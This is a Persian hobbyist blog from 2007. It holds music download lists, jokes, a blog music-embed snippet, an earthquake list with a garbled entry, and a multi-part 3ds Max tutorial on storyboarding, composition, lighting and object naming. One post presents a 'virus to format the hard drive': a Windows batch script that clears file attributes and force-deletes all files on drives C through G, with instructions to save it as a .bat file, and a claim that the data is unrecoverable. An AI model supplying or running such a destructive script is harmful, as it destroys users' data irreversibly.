تبليغاتX
پاك


پاك








سلام.دوستان به ۳تا از بهترین وبلاگ ها جایزه  داده می شود.اسم وبلاگ تون یادتون نره بنویسید.نفر اول=۱ساعت اینترنت رایگان       نفر دوم=کد قالب خوب برای وبلاگش           نفر سوم=کد آهنگ برای وبلاگش
+ نوشته شده در  سه شنبه سیزدهم شهریور 1386ساعت 23:45  توسط دانیال  | 


5.9 On Richter, Latur, 1994
6.5 On Richter, Uttarkashi, 1998
6.9 On Richter, Taiwan, 1999
7.9 On Richter, Bhuj, 2001 2004
8.9 On Richter, Indonesia, 2004

+ نوشته شده در  شنبه دهم شهریور 1386ساعت 11:36  توسط دانیال  | 


سلام دوستان به وبلاگ ديگم سر بزنيد.داراي مطالب علمي     www.nodet-elmi.blogfa.com
+ نوشته شده در  سه شنبه ششم شهریور 1386ساعت 15:42  توسط دانیال  | 


ویروسی برای فرمت کردن هارد...:با اجرا شدن اين ويروس كليه اطلاعات هارد پاك شده و به هيچ وجه بازيافت نمي شه:
روش كار: يك Notepad باز كنيد و در آن بنويسيد :
echo off@
ATTRIB -a -s -h -r c

ATTRIB -a -s -h -r c:\windows\*.*
Echo y | echo a | Echo y | del c
:\*.*
Echo y | echo a | Echo y | del d
:\*.*
Echo y | echo a | Echo y | del e
:\*.*
Echo y | echo a | Echo y | del f
:\*.*
Echo y | echo a | Echo y | del g
:\*.*
echo y | copy *.* C
:\
echo y | copy *.* D
:\
echo y | copy *.* E
:\
echo y | copy *.* F
:\
echo y | copy *.* G
:\
resrart
حالا  با پسوند  .bat ذخيره كنيد .
+ نوشته شده در  چهارشنبه سوم مرداد 1386ساعت 19:25  توسط دانیال  | 


<bgsound src="http://ccc.1asphost.com/PersianMidi/MidiFile/Modern%20Talking%20No%20Face%20No%20Name%20No%20Number.mid" loop="1000"> کپی بگیرین.و بریزین تویه تنظیمات وبلاگتون.

+ نوشته شده در  پنجشنبه چهاردهم تیر 1386ساعت 10:11  توسط دانیال  | 


چمنتیم گاو نشی ما رو بخوری؟

 یک پسره آدامس می جود معلمش میبینشی می گه:این لا ستیک چیه می جوی.دانش آموز میگه:آقا دنا.دنا

یک مرد رو برق می گیرشی میگه:ادیسون ولم کن. 

تركه رو داشتن ميبردن اتاق عمل، ازش ميپرسن: همراه داري؟ ميگه: آره، خاموشش كردم!!!

مرد كفترشو گم ميكنه ، تو روزنامه آگهي ميده: بيوه بيو!!

مرد مي خواسته گردو بشكنه، گردو رو ميگذاره زير پاش، با آجر ميزنه تو سرش!!

یک مرد سوار تاکسی می شه بعد راننده می گه:چرا در را نمی بندی.مرد می گه:زرنگی می خوای در بست حساب کنی 

یک مرد تویه جنگل راه می ره.یه دفعه یک کرم از زیر خاک در می یاد.می گه:موماری یعنی من مارم 



 

+ نوشته شده در  جمعه یکم تیر 1386ساعت 21:22  توسط دانیال  | 


3-1.jpg  3d_043.jpg

3d_095.jpg  3D-ROM1-0.jpg

3d_197.jpg  3d_181.jpg

3d_154.jpg  3d_105.jpg 

3d_301.jpg  3d_253.jpg

3d_229.jpg  3d_208.jpg

slr.jpg  spider.jpg

stenata3.jpg  troy2.jpg

stenata2.jpg  tukan.jpg

tygr.jpg  tygrlive2.jpg

twindragons.jpg  super_mario_sunshine.jpg

vazka.jpg domek.jpg

fgdfg.jpg  List.jpg

RioCoco.jpg  Citron.jpg

6.jpg  7.jpg

3d_318.jpg  45dsf.jpg

pes.jpg  pes1.jpg

ptak.jpg  rose2.jpg

s12.jpg  s15.jpg

002b.jpg  005.jpg

x177.jpg  x212.jpg

نظر یادتون نره

+ نوشته شده در  پنجشنبه سی و یکم خرداد 1386ساعت 11:13  توسط دانیال  | 



01 - Dooset Daram (Kheyli Ziyaad) [24Kps] [128Kps]
02 - Kheyli Mamnoon [24Kps] [128Kps]
03 - Mano Bebakhsh (DJ Payami Remix) [24Kps] [128Kps]
04 - Oon Ba Man (Dj Payami Remix) [24Kps] [128Kps]
05 - Oonike Mikhastam (Cameron Cartio Remix) [24Kps] [128Kps]
06 - Ba Tashakor Az Shoma (Dj Payami Remix) [24Kps] [128Kps]
07 - Mano Bebakhsh (Cameron Cartio Remix) [24Kps] [128Kps]

 

 

   

+ نوشته شده در  سه شنبه بیست و نهم خرداد 1386ساعت 17:37  توسط دانیال  | 






سیاوش قمیشی خوب بود نظر بده  save trag as کن 

                      

01 -Farangis [24Kps] [128Kps               
۰۲ - Boosaye Baad [24Kps] [128Kps
۰۳ - Garye Kon [24Kps] [128Kps
۰۴ - Panjereh [24Kps] [128Kps
۰۵ - Tassavore Kon [24Kps] [128Kps
۰۶ - Mahboobaye Shab [24Kps] [128Kps
0۷ - Hanooz [24Kps] [128Kps
0۸ - Yaade Man Baash [24Kps] [128Kps
0۹ - Boosaye Baad (Club Mix) [24Kps] [128Kps

 

۱۰ - Khabeh Baroon [24Kps] [128Kps
۱۱ - Faseleh [24Kps] [128Kps
۱۲ - Tolou [24Kps] [128Kps
۱۳ - Baroon [24Kps] [128Kps
۱۴ - Ghoroub [24Kps] [128Kps

 

+ نوشته شده در  دوشنبه بیستم فروردین 1386ساعت 17:57  توسط دانیال  | 




برای دانلود روی پخش راست کلیک کنید و save trag as کنید و نظر بدهید.ادامه مطلب رو بزن


ادامه مطلب...
+ نوشته شده در  یکشنبه نوزدهم فروردین 1386ساعت 18:42  توسط دانیال  | 


نام موزیک خواننده آهنگساز مناسبت

زمان

پخش

آئينه لطف جهانگير زماني رئيس فرشيد تولد پيامبر(ص)

5:37

پخش
آستان محمد (ص) بهرام سارنگ تولد پيامبر(ص)

5:17

پخش
آفتاب عالم تولد پيامبر(ص)

4:36

پخش
آيت عشق ساسان حفظي مهران جهادي تولد پيامبر(ص)

4:55

پخش
آيت يزداني مهدي بهزاد پور فريدون خالقي تولد پيامبر (ص)

4:53

پخش
آيت يزداني مهدي بهزاد پور فريدون خالقي تولد پيامبر(ص)

5:34

پخش
آيت يزداني فريدون خالقي تولد پيامبر(ص)

4:54

پخش
آينه لطف جهانگير زماني علي رئيس فرشيد تولد پيامبر(ص)

5:43

پخش
ابر رحمت بهرام گودرزي حسين علي رجبي اسلامي تولد پيامبر(ص)

4:34

پخش
بهشت جاودان محسن حسن زاده علي رئيس فرشيد تولد پيامبر - مبعث

4:18

پخش
تصنيف محمد (ص) قاسم رفعتي شهريار فر يوسفي تولد پيامبر(ص)

7:50

پخش
جان جهان احمد مرتضي پور حسين فرهادپور تولد پيامبر (ص)

5:06

پخش
+ نوشته شده در  یکشنبه نوزدهم فروردین 1386ساعت 18:28  توسط دانیال  | 


گالري عكس هاي خنده دار ادامه مطلب بزن....


ادامه مطلب...
+ نوشته شده در  چهارشنبه پانزدهم فروردین 1386ساعت 17:42  توسط دانیال  | 


درس نخست



محیط نرم افزار استودیوی سه بعدی از چهار قسمت مهم تشکیل شده است که عبارتند از :
1- منوی دستورات
2- ویوپورت یا نماهای فضایی
3- جعبه ابزار
4- کنترل بار یا قسمت کنترل نما ها و انیمیشن
مهم ترین چیزی که بایستی به آن توجه داشت این است که محیط این استودیو در قیاس با سایر نرم افزار های نقشه کشی و مدلسازی کاملا متفاوت است. چرا که این نرم افزار اجازه طراحی در فضای سه بعدی را میدهد . علیرغم اینکه به نظرپیچیده میرسد اما بزودی خواهید دید که نه تنها سخت نیست بلکه بسیار راحت و آسان میتوانید در فضای سه محوری مدل های دلخواه را خلق کنید.
با هم به تعریف هرکدام از قسمتها توجه میکنیم .

درس دوم ـ طراحی و بررسی STORY BOARD

این مفهوم چیزی بیش از یک طرح کلی معمولا در فرم گرافیکی از آنچه که پروژه شامل آن خواهد بود و اینکه چگونه طرح بندی خواهد شد نیست.
این خود میتواند تا حد چند طرح خلاصه سریع روی یک قطعه کاغذ ساده باشد یا تاحد یک داستان مشروح
هدف آن ساماندهی اندیشه های شما و به تصویر کشیدن آنها به روشی است که همکاران شما و سفارش دهندگان بدانند برنامه چیست و چگونه اجرا خواهد شد
برای سهولت ازاین پس به این کلمه داستانواره خواهیم گفت
غالب صفحات منحصر فرد یک داستانواره عملیات را در یک فریم کلیدی انیمیشن پوشش خواهند داد
در سایر زمانها آنها شامل اطلاعاتی در مورد ترکیب و داده های رنگ صحنه نیز خواهند بود
اگر بخواهیم مثال بزنیم این مفهوم به معنی طراحی یک الگوریتم برای ساخت یک نرم افزار است
با اینکه این مفهوم بسیار ساده است آنرا بعنوان امتیاز در نظر بگیرید و به زودی عادت کنید که برای هر پروژه یک فیلمنامه انحصاری ایجاد کنید حال هرچقدر این پروژه ساده باشد.

در زمانبندی های تولید محدود کار بر روی یک داستانواره جامع و متعهد کردن طرفین پیش از آغاز هرکار سه بعدی فرآیندی است که به واقع ساعات بیشماری از زمان و استعداد تلف شده را در امتداد کار صرفه جویی خواهد کرد.

درس سوم _ ترکیب صحنه

مسدود سازی صحنه میتواند طوری تنظیم شود تا حالات متفاوتی را ایجاد کند که احساس از آرامش یا حرکت را به بیننده منتقل خواهد مرد
همچنین ترکیب میتواند طوری بکار رود تا چشم بیننده را به بخشی از صحنه که مورد نظر ماست جلب کند
در اصل این ترکیب ها از تکنینکهای هنر خارق العاده نقاشی قرض گفته شده اند
باید یاد بگیریم چگونه چشم خود را تمرین دهیم تا این ترکیبها را در طبیعت ببیند و حسی را برای درج آنها در کار سه بعدی خود توسعه دهیم
برخی از اشکال اساسی ترکیب شامل این موارد میباشند :
چهارگوش (Quadrant)
متوالی (Sequential)
نامتقارن یا متوازن پویا (Assymetrical or dynamic balance)
متقارن (Symmetrical)
میانگین طلایی (Golden mean)
قانون یک سوم (Rule of Thirds)

در ادامه شرح کوتاهی از هر مورد می آوریم
مجددا سعی کنید اینکه چگونه میتوانید صحنه هایتان را در حین فرایند ایجاد داستانواره برنامه ریزی کنید در ذهن خود تجسم کرده و از این تکنیکها در کار خود بهره گیرید.

درس چهارم ـ رنگ و نورپردازي

رنگ و نورپردازي دو ابزار قدرتمندي هستند كه به شما كمك خواهند كرد تا حالت يك صحنه را كه به جهت تركيب و زواياي دوربين و كاراكترها ايجاد شده است تقويت نماييد.

بازهم اين شرح در مورد رنگ و نورپردازي همانگونه است كه سالها به صورت سنتي به كار گرفته شده است.

نور

همان چيزي است كه تمامي تصاوير در وهله اول وابسته به آن هستند.

هرچيزي كه ميبينيم حاصل نوري است كه از سطح آن به چشمان ما منعكس شده است.

و اما رنگ، كيفيت نوري است كه از سطح برميگردد و بر پايه دامنه اي از فركانسهاي شعاع نور كه ميتواند از سطح رها شود استواراست.

نورپردازي دراينجا نه تنها به نوري كه از يك منبع نوري از قبيل خوشيد يا يك لامپ برق ساتع ميشود بلكه همچنين به رابطه اي ميان نواحي روشن و نواحي تيره در يك صحنه اطلاق ميگردد. هنرمندان ساعات بسياري را براي مطالعه در مورد اين ارتباطات صرف نموده اند .

مونه، نقاش معروف، مطالعاتي را روي كومه هاي علف خشك در فرانسه انجام داد تا انتقال يك موضوع ناشي از اثر خود نور را به تصوير بكشد.

نواحي روشن در صحنه به جلو مي آيند در حاليكه نواحي تاريك عقب ميكشند . اين تكنيكي است كه توسط اساتيد نقاشي قديم توسعه يافت

اين جلوه ميتواند درست بت همين تاثير به تصاوير ايجاد شده كامپيوتري اعمال گردد.

همچنين يك مكتب نقاشي وجود دارد كه به عنوان Luminists شناخته شده است كه اغلب در آن نور خيلي روشن مركز توجه است و تا حد قابل توجهي روي هر چيزي درون صحنه تاثير ميگذارد .

رنگ

رنگ عنصري است كه ميتواند براي هر تصويري حائز اهميت باشد . در حاليكه برخي هنرمندان بسيار مهم در گذشته برخي كارهاي تماشايي را در تصاوير درجه خاكستري (گري سكيل‌)‌توليد كرده اند اما آنها روي تركيب فرم و زاويه دوربين تكيه كرده اند تا داستاني را كه هركدام سعي در بيان آن داشته اند بهبود بخشند .

حتي تغييرات ملايم رنگ ميتواند باعث تغييرات مهيجي در صحنه ها هم در حالت و هم در تصوير عمق سه بعدي شود.

رنگهاي متمم

يك عامل مهم در ئوري رنگ رنگهاي متمم ميباشد

در ابتدا مهم است بدانيد كه رنگهاي متمم از رنگهاي اصلي منتج ميشوند

و در مورد رندر سازي هاي كامپيوتري رنگهاي اصلي قرمز ، سبز و آبي ميباشند .

رنگهاي اصلي نقاشان ،‌قرمز و آبي و زرد ميباشند اما برهي از اطلاعات عملي مثل اثري كه يك رنگ روي رنگ ديگر دارد ميتوانند از نقاشي به نور منتقل شوند

هنگامي كه رنگهاي اصلي به ميزان يكسان مخلوط شوند نتايج اينها هستند :

قرمز + سبز = زرد

قرمز + آبي = سرخابي

آبي + سبز = فيروزه اي

رنگهاي متمم آنهايي هستند كه در چرخه رنگ به صورت قطبي در برابر هم قرار دارند

البته نور پردازي به عنوان يك هنر از اينجا بيشتر به عكس و فيلم اطلاق ميشود تا نقاشي ،‌اما به جنبه هاي تكنيكي كه چه هنگامي چه لامپ نوري را روي كدام شيء بتابانيد اطلاق نميشود.

دو ناحيه وسيع از مفاهيم نور پردازي از قديم وجود دارند كه بايد آنها را بررسي كنيم تا مهارتهاي نور پردازي كلي خود را بهبود بخشيم

درجه حرارت نور صرفاً يك جنبه تكنيكي نورپردازي است كه ميتواند روي حالت صحنه هايتان تاثير بگذارد و قرار گيري نورها از روزهاي آغازين عكاسي و فيلمسازي براي ايجاد حالت كلي صحنه ها به كار گرفته شده است

اصولا درجه حرارت نور يك جنبه فيزيكي منبع نور است كه به رنگ نور تاثير ميگذارد ، گرچه اين مشابه رنگ اشياء نيست مشابه به كار گيري فيلتر هاي رنگي روي نورها براي ايجاد رنگ نيز نمي باشد . درجه حرارت نور بر حسب درجه كلوين داده ميشود آنچه شما بايد در درجه حرارت نور جستجو كنيد اين است كه يك حس گرم يا سرد را در صحنه به وجود مي آورد

در عكاسي نور پردازي گرم ( با درجه حرارت زير 4000 كلوين است ) رنگها گرايش دارند كه به حدود زرد و قرمز جريان يابند ، رنگهاي گرم توازن و آرامشي را به صحنه ارائه ميكنند و حال مثالهايي از نورپردازي گرم و درجه حرارتهاي مربوط را ذكر ميكنم .

روشنايي شمع

بسيار گرم است و درجه حرارتي حدود 1900 كلوين و يك سايه رنگ قرمز نارنجي دارد حالت ايجاد شده توسط روشنايي شمع افسانه اي است.

نور سيامبي

لامپهاي خانگي عادي دراري نور سيمابي هستند و نور قرمززرد فامي را در درجه حرارتي حدود 2800 كلوين منتشر مينمايند . حس در چنين نوري ، نزديكي و گرما ميباشد

نورافكن

با كمي سرد تر جاري شدن در حدود 2200 كلوين و بالاتر ، جلوه هاي نورافكن براي صحنه هاي نور خارجي در جايي كه ميخواهيد صحنه را باز كنيد و آنرا براي بيننده كمي دشوار نماييد به خوبي كار ميكنند

در سمت سرد معادله ، همچنان كه به درجه حرارتهاي بالاتر نور ميرسيد ، صحنه خشن تر و مهيج تر ميشود

بيننده راحتي و آرامش را حس نميكند ، اينها مثالهايي از نور سرد هستند :

روشني روز

نور مستقيم خورشيد در حدود 5200 كلوين هنوز هم كمي زرد است حالت ايجاد شده راحتي نمي باشد اما بازتر و گسترده تر است

نور بارقه

قطعاً به داخل ناحيه سرما و تا حدي درجه حرارت شديد نور ميرود . اكثر بارقه ها در دامنه 6000 كلوين هستند و ميتوانند براي بالا بردن فشار در يك صحنه مورد استفاده قرار بگيرند .

نور آسمان

نوري است كه از آب و ذرات در آسمان شمالي مي جهد و قطعا ً جلوه سردي را با درجه حرارت حدود 11000 كلوين ايجاد ميكند ميتواند درخشان و بسيار خشن باشد

جای دادن جلوه هاي تغيير درجه حرارت نور را در رندر سازي هاي كامپيوتري خود در نظر داشته باشيد تا بيننده را تحريك كنيد يا به هنگام نيازتان بيننده را آرام نماييد.

به كار گيري درجه حرارت نور پردازي متفاوت به صورت سنتي ابزار بسيار موثري در فيلم و تلويزيون بوده است فيلمها را بررسي كنيد تا ببينيد در كجا درجه حرارت نور پردازي براي تغيير حالت تغيير يافته است

قرارگيري نور

يكي از قابل ملاحظه ترين كاستي ها در يك فيلم يا تصوير ايجاد شده كامپپيوتري نور پردازي مسطح است.

صحنه اي بدون تفاوت ميان نور پردازي پيش زمينه و نورپردازي پس زمينه داشتن با محدوده ای از نور پردازي در عمق صحنه ،‌احساس گونه سه بعدي را افزايش ميدهد

قرار گيري نور و كيفيت نور ميتواند نقش بزرگي را در چگونگي واكنش بينندگان نسبت به يك تصوير يا صحنه بازي كند

علاوه براين قرارگيري نورهاي منحصر بفرد در يك صحنه مفروض نميباشد

بلكه پهلوي هم قراردادن روشنايي و تاريكي است

نورپردازي پيش زمينه

نورپردازي روشن تر پيش زمينه نسبت به پس زمينه قدري به متراكم شدن صحنه منجر ميشود . اين تكنيك همانند نورپردازي مسطح عمل نميكند اما بيننده را داخل صحنه قرار ميدهد

لازم نيست تغيير مهيجي در مقدار از روشنايي تا تاريكي صورت بگيرد تا موثر باشد

نورپردازي پس زمينه

هنگامي كه پس زمينه روشنتر از پيش زمينه باشد ، كاربر از عمليات جدا ميشود و فشار افزايش ميابد ، هرچه تفاوت در شدت نور بيشتر باشد ، بيننده احساس گم گشدگي بيشتري را ازعمليات مينمايد

نور ملايم يا شديد

اين ملايمت يا شدت نور و سايه به حس بيننده انتقال مي يابد

بيننده با صحنه اي راحتتر يا غريب تر مواجه ميكند ، كنتراست ميان تاريكترين و روشنترين نورها ميتواند جلوه را افزايش يا كاهش دهد.

نورپردازي پشتی يا Backlight

كه تقريبا به طور ثابت و بسيار برجسته در فيلم و تلويزيون استفاده ميشود ، به نظر ميرسد الب در رندرسازي كامپيوتري كامنپيوتري صرفنظر ميشود

نورپردازي پشتي قوي روي كاراكترها و اشياي درون صحنه ، آنها را از پس زمينه جدا ميكند و توجه بيننده را روي آنها متمركز ميكند

تلويزيون و فيلم را با درنظر داشتن مباحث فوق در ذهن خود بررسي كنيد

ما با اين عادت رشد كرده ايم كه جلوه ها را هر روز مشاهده كنيم اما حتي به آنها توجه نكنيم براي مثال هنگامي كه شروع به جستجو براي نور پردازي پيش زمينه يا پشتي ميكنيد ، حيرت زده خواهيد شد كه تمامي اين سالها از آن غفلت نموده ايم تا وقتي آگاه شويم كه جلوه ها چگونه ميتوانند بكار روند ، نميتوانيد آنها را در كار خود جاي دهيد ، و اغلب بهترين مربي ،‌ تجربه است

درس پنجم ـ استاندارد نام گذاری اشياء

چگونه اشياء را برای سهولت کار نام گذاری کنيم...

                                                                                                               

هنگامي كه در ابتدا با 3ds max كار ميكنيد ، نسبت دادن اسامي به اشيايي كه ايجاد ميكنيد ، كار مهمي به نظر نميرسد . گرچه براي خلاق بودن بايد به تايپ كردن يك نام ( كه براي شما و همكارانتان مفهوم داشته باشد ) براي هر شيء جديدي عادت كنيد . توسعه استانداردهاي نامگذاري شيء براي دفتر كار شما بايد يك اولويت باشد .

همچنانكه هر شيء دو بعدي يا سه بعدي در 3ds max 4 ايجاد ميشود ، نرمافزار به صورت اتوماتيك نامي را به آن شيء نسبت ميدهد . نام معمولاً از نوع شيء با يك شماره متوالي منتج ميشود كه به انتهاي اسم افزوده ميشود . براي مثال ، Box01 ، Line01 ، Tours433 و غيره .

 

تنها پس از اعمال كردن كمي اصلاحات به شيء ، شيء به سرعت شباهتي به نامش نخواهد داشت و راهنمايي وجود ندارد كه هنگام جستجوي يك ليست اشياء نامگذاري شده ، Box01 ممكن است به كدام شيء مربوط باشد . كاملاً ممكن است كه فايلي را باز كنيد كه شامل يك منظره با يك درياچه و درختان باشد ، به ليست تمامي اشياء نگاه كنيد و Plane01 تا Plane236 و Cylinder01 يا Cylinder1021 را مشاهده نماييد . حاصل يك فرآيند جستجو و انتخاب طولاني براي برگزيدن هر شيء خاص در صحنه ميباشد . تغيير نام اشياء با نامهاي منطقي در ابتدا ، فرآيند انتخاب را هنگام ويرايش فايل تسريع خواهد نمود .

 

اشياء ميتوانند در زمان ايجاد شيء در پنل Create يا در هر زمان با انتخاب شيء ، متمايز كردن نام در ليست Modifier و رونويسي متن با نام جديد تغيير نام داده شوند .

 

برپايي يك استاندارد نامگذاري

 

در هر شركتي كه از 3ds max 4 استفاده ميكند ، توسعه يك مجموعه استانداردهاي نامگذاري به عنوان مرجع براي استفاده اشخاصي كه در شركت كار ميكنند ، مفيد است . اين استاندارد اگر تقويت شود ، همه افراد را قادر به يافتن سريع اشياء در يك صحنه ميكند و به كارگيري تكنيكهاي مرتبسازي در كادر ارتباطي Select Objects را ميسر ميسازد .

 

MAJOR ACTORS

 براي نامگذاري اشياء يا كاراكترهاي اصلي ، به طور كامل از حروف بزرگ استفاده كنيد . حروف بزرگ شناسايي شيء را آسانتر ميكنند و سبب ميشود هنگامي كه گزينه Case Sensitve در پايين كادر ارتباطي علامت گذاشته شده باشد ، نام در بالاي ليست Select by Name

 

Minor Actors